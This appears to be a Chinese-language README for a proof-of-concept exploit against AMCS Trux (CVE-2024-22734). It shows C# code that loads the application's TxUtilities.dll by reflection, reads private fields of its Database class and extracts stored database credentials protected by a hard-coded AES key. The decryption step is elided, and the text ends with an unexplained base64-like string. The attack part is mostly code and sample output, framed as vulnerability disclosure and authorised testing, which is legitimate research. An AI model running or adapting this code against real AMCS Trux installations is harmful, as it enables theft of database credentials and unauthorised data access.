AMCS Trux 数据库凭证解密漏洞利用工具 (CVE-2024-22734)
项目描述
本项目是针对 AMCS Trux 软件(版本 7.19.0018)中一个未公开严重安全漏洞的概念验证(Proof of Concept)利用工具。该漏洞由 Bryan Smith(Redline Cyber Security)发现并分配编号 CVE-2024-22734。
由于 AMCS Trux 应用程序在其 DLL 结构中使用了静态硬编码的 AES 密钥,导致本地攻击者能够通过反射加载技术,动态访问并解密存储在应用程序中的主数据库账户加密凭证。
⚠️ 重要声明
本工具仅用于教育和安全研究目的。严禁在未授权系统上使用,使用者需遵守相关法律法规。作者不对任何滥用行为或造成的损害负责。
功能特性
- 动态程序集加载:通过
Assembly.LoadFrom方法动态加载目标应用程序的TxUtilities.dll。 - 反射访问私有成员:利用 .NET 反射机制绕过访问修饰符限制,读取类中的私有字段值。
- 硬编码密钥提取:演示如何从程序结构中定位并提取静态硬编码的 AES 解密密钥。
- 数据库凭证解密:成功获取加密的数据库用户名和密码,并进行解密输出。
- 漏洞概念验证:完整展示 CVE-2024-22734 漏洞的利用路径和技术细节。
安装指南
系统要求
- 操作系统:Windows(依赖 .NET Framework 环境)
- 运行时环境:.NET Framework 4.5 或更高版本
- 目标文件:AMCS Trux 安装目录下的
TxUtilities.dll文件
安装步骤
-
克隆或下载项目代码
git clone https://github.com/your-repo/CVE-2024-22734.git cd CVE-2024-22734 -
编译项目
使用 Visual Studio 或 C# 编译器编译
Program.cs文件:csc Program.cs或通过 Visual Studio 打开项目解决方案并生成可执行文件。
-
准备目标 DLL 文件
确保 AMCS Trux 应用程序已安装,并将
TxUtilities.dll文件复制到与编译后的可执行文件相同的目录下。
使用说明
基本用法
-
运行编译后的可执行文件
DLLReflectionLoader.exe -
程序执行流程
- 控制台显示漏洞利用工具标题和说明信息
- 自动加载当前目录下的
TxUtilities.dll - 通过反射获取
TxUtilities.Database类型 - 创建类型实例并访问私有字段
- 提取并显示解密后的数据库凭证
典型使用场景
该工具适用于安全研究人员在获得授权后对 AMCS Trux 软件进行安全评估:
- 内部安全审计:验证本地权限下数据库凭证是否可被非授权访问
- 漏洞复现:安全团队验证 CVE-2024-22734 漏洞的实际影响
- 防御测试:测试端点检测与响应(EDR)系统对反射加载行为的监控能力
输出示例
=========================================================
AMCS TRUX 7.19.0018 (219580057) Exploit Proof of Concept
=========================================================
This Proof of Concept (POC) exploits an undisclosed
vulnerability in the AMCS Trux application. It is
designed to derive encrypted database credentials
and hard-coded decryption keys.
Author: Bryan Smith, Redline Cyber Security
CONFIDENTIAL USE ONLY
==============================================================
Loading TxUtilities.dll...
Accessing TxUtilities.Database class...
Creating an instance of the class...
Retrieving DB User...
核心代码
1. 程序集加载与类型获取
// 动态加载目标程序集
Assembly assembly = Assembly.LoadFrom("TxUtilities.dll");
// 获取目标类的类型信息
Type type = assembly.GetType("TxUtilities.Database");
if (type == null)
{
Console.WriteLine("ERROR: Class not found.");
return;
}
2. 反射创建实例并访问私有字段
// 创建类的实例
object classInstance = Activator.CreateInstance(type);
// 辅助方法:通过反射获取私有字段的值
public static T GetPrivateFieldValue<T>(Type type, object instance, string fieldName)
{
FieldInfo field = type.GetField(fieldName,
BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static);
if (field == null)
{
return default(T);
}
return (T)field.GetValue(instance);
}
// 获取私有字段值(字段名为 Unicode 转义字符)
string fieldValue3 = GetPrivateFieldValue<string>(type, classInstance, "\u0003");
3. 完整的程序入口结构
using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
namespace DLLReflectionLoader
{
class Program
{
static void Main(string[] args)
{
// 显示漏洞利用工具标题和安全声明
Console.WriteLine("=========================================================");
Console.WriteLine(" AMCS TRUX 7.19.0018 (219580057) Exploit Proof of Concept");
Console.WriteLine("=========================================================");
Console.WriteLine(" This Proof of Concept (POC) exploits an undisclosed");
Console.WriteLine(" vulnerability in the AMCS Trux application.");
Console.WriteLine(" Author: Bryan Smith, Redline Cyber Security");
Console.WriteLine("==============================================\n");
// 加载程序集并获取类型
Assembly assembly = Assembly.LoadFrom("TxUtilities.dll");
Type type = assembly.GetType("TxUtilities.Database");
// 创建实例并提取凭证
object classInstance = Activator.CreateInstance(type);
string dbUser = GetPrivateFieldValue<string>(type, classInstance, "\u0003");
// ... 后续解密逻辑
}
// 反射辅助方法
private static T GetPrivateFieldValue<T>(Type type, object instance, string fieldName)
{
FieldInfo field = type.GetField(fieldName,
BindingFlags.NonPublic | BindingFlags.Instance);
return field != null ? (T)field.GetValue(instance) : default(T);
}
}
}
4. 程序集元信息配置
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("CVE-2024-22734")]
[assembly: AssemblyDescription("Exploit PoC for AMCS Trux credential decryption")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("CVE-2024-22734")]
[assembly: AssemblyCopyright("Copyright © 2024")]
[assembly: ComVisible(false)]
[assembly: Guid("94358719-a295-4220-b6f6-571d17fc1c20")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
6HFtX5dABrKlqXeO5PUv/88c+QEV8VQn3kdUuHBSt2Q=